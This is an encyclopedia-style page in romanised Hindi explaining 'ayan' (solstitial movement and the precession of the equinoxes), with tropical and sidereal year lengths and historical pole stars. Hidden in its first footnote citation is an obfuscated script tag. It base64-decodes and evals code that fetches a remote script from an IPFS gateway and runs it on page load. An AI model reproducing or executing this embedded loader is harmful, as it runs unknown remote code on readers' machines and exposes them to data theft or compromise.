अयन

भारत डिस्कवरी प्रस्तुति
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ayan ka arth hota hai chalana. poore varsh mean soory gatiman rahata hai, soory ki avastha se hi rrituoan ka nirdharan hota hai.

  • hindoo dharm mean ayan 'samay pranali' hai jisase rrituoan ka jnan hota hai.
  • kraanti vrit ke pratham aansh ka vibhajan uttar aur dakshin gol ke madhyavarti dhurvoan ke dvara mana gaya hai. yah vibhajan "uttarayan" aur "dakshinayan" kahalata hai.
  • ek varsh do ayan ke barabar hota hai aur ek ayan devata ka ek din hota hai. 360 ayan devata ka ek varsh ban jata hai.
  • soory ki sthiti ke anusar varsh ke adhe bhag ko ayan kahate haian. ayan do hote haian-
  1. uttarayan - soory ke uttar disha mean ayan arthath gaman ko uttarayan kaha jata hai.
  2. dakshinayan - soory ke dakshin disha mean ayan arthath gaman ko dakshinayan kaha jata hai.

ayan adhe varsh tak soory akash ke uttar golardh mean rahata hai, adhe varsh tak dakshin golardh me. dakshin golardh se uttar golardh mean jate samay soory ka keandr akash ke jis biandu par rahata hai use vasantavishuv kahate haian. yah viandu taroan ke sapeksh sthir nahian hai; yah dhire-dhire khisakata rahata hai. is khisakane ko vishuv ayan ya sankshep mean keval ayan (priseshan) kahate haian (ayan=chalan). vasantavishuv se chalakar aur ek chakkar lagakar jitane kal mean soory phir vahian lautata hai utane ko ek sayan varsh kahate haian. kisi tare se chalakar soory ke vahian lautane ko nakshatr varsh kahate haian. yadi vishuv chalata n hota to sayan aur nakshatr varsh barabar hote. ayan ke karan donoan varshoan mean kuchh minatoan ka aantar p data hai. adhunik napoan ke anusar ausat nakshatr varsh ka man 365 din, 6 ghanta, 9 minat, 9.6 sekand ke lagabhag aur ausat sayan varsh ka man 365 din, 5 ghanta, 48 minat, 46.054 sekand ke lagabhag hai. sayan varsh ke anusar hi vyavaharik varsh rakhana chahie, anyatha varsh ka aranbh sada ek rritu mean n p dega. hianduoan mean jo varsh abhi tak prachalit tha vah sayan varsh se kuchh minat b da tha. isalie varsh ka aranbh age ki or khisakata ja raha tha. udaharanat: pichhale dhaee hajar varshoan mean 21 ya 22 din ka aantar p d gaya hai. thik-thik batana sanbhav nahian hai, kyoanki sooryasiddhaant brahmasiddhaant, aryabhatiy ityadi mean varshaman tho da bahut bhijh hai. yadi ham log do char hajar varshoan tak purane varshaman ka hi prayog karean to savan bhadoan ke mahine us rritu mean p deange jab k dake ka ja da p data rahega. isilie bharat sarakar ne ab apane rashtriy panchaang mean 365.2422 dinoan ka sayan varsh apanaya hai.

ayan ka ek parinam yah hota hai ki akashiy dhruv, arthath‌ akash ka vah biandu jo prithvi ke aksh ki sidh mean hai, taroan ke bich chalata rahata hai. vah ek chakkar lagabhag 26,000 varshoan mean lagata hai. jab kabhi uttar akashiy dhruv kisi chamakile tare ke pas a jata hai to vah tara prithvi ke uttar golardh mean dhruvatara kahalane lagata he. is samay uttar akashiy dhruv pratham laghu saptarshi (ailfa arasi maijoris) ke pas hai. isilie is tare ko ham dhruvatara kahate haian. abhi akashiy dhruv dhruvatare ke pas ja raha hai, isalie abhi saik doan varshoan tak poorvokt tara dhruvatara kahala sakega. lagabhag 5,000 varsh pahale pratham kaliy (ailfa draikonis) namak tara dhruvatara kahalane yogy tha. bich mean koee tara aisa nahian tha jo dhruvatara kahalata. aj se 15,000 varsh pahale abhijit (vega) namak tara dhruvatara tha. hamare grihm sootroan mean vivah ke avasar par dhruvadarshan karane ka adesh hai. pratyaksh hai ki us samay koee n koee dhruvatara avashy tha. isase anuman kiya gaya hai ki yah pratha aj se lagabhag 5,000 varsh pahale chali hogi. shatapath brahman mean likha hai ki krittikaean poorv mean uday hoti haian. isase shatapath lagabhag 3,000 ee. poo. ka granth jan p data hai, kyoanki ayan ke karan krittikaean usake pahale aur bad mean poorv mean nahian uday hoti thian. ayan ka karan|right|thumb ayan ka karan-lattoo ko nachakar bhoomi par ek prakar rakh dene se ki lattoo ka aksh kh da n rahakar tirachha rahe, lattoo ka aksh dhire-dhire mandarata rahata hai aur vah ek shanku (kon) parilikhat karata hai. thik isi tarah prithvi ka aksh ek shanku parilikhit karata hai jisaka ardh shirshakon lagabhag 23½° hota hai. karan yah hai ki prithvi thik-thik golakar nahian hai. bhoomadhy par vyas adhik hai. mote hisab se ham yah man sakate haian ki keandriy bhag shuddh roop se golakar hai aur usake bahar nikala bhag bhoomadhyarekha par chipaka hua ek valay hai. soory sada ravimarg ke samatal mean rahakar prithvi ko akarshit karata hai. yah akarshan prithvi ke keandr se hokar nahian jata, kyoanki poorvakalpit valay ka ek khand apekshakrit soory ke kuchh nikat rahata hai, doosara kuchh door. nikatasth bhag par akarshan adhik p data hai, doorasth par kam. isalie in akarshanoan ki yah pravritti hoti hai ki prithvi ko ghumakar usake aksh ko ravimarg ke dharatal par lanb kar dean. yah ghoornanaj b prithvi ke apane aksh ke parit: ghoornan ke sath sanlisht (k aaumbain) kiya jata hai to parinami ghoornan aksh ki disha nikalati hai jo prithvi ke aksh ki purani disha se jara si bhinn hoti hai, arthath‌ prithvi ka aksh apani purani sthiti se is navin sthiti mean a jata hai. doosare shabdoan mean, prithvi ka aksh ghoomata rahata hai. aksh ke is prakar ghoomane mean chandrama bhi sahayata karata hai. vastut: chandrama ka prabhav soory ki apeksha doona p data hai. sookshm ganana karane par sab batean thik vahi nikalati haian jo bedh dvara dekhi jati haian.[1]

prithvi ki madhyarekha ke phoole dravy par soory ke asam akarshan se prithvi ka aksh ek shanku parilikhit karata hai. chandramarg ka samatal ravimarg ke samatal se 5° ka kon banata hai. is karan chandrama prithvi ko kabhi ravimarg ke oopar se khianchata hai, kabhi niche se. phalat:, bhoomadhyarekha tatha ravimarg ke dharataloan ke bich ka kon bhi tho d bahut badalata rahata hai. jise vidolan (nyooteshan) kahate haian. prithviaksh ke chalane se vasant aur sharadh vishuv donoan chalate rahate haian.

oopar batae ge ayan ko chaandr-saur-ayan (looni-solar priseshan) kahate haian. isamean bhoomadhy ka dharatal badalata rahata hai. parantu grahoan ke akarshan ke karan svayan ravimarg tho da vichalit hota hai. isase bhi vishuv ki sthiti mean aantar p data hai. ise grahiy ayan (plainetari priseshan) kahate haian.[2]



panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 212 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. ↑ san.gran.-nyook aaumb : sferikal aistr aaunomi; gorakhaprasad : sferikal aistr aaunomi.

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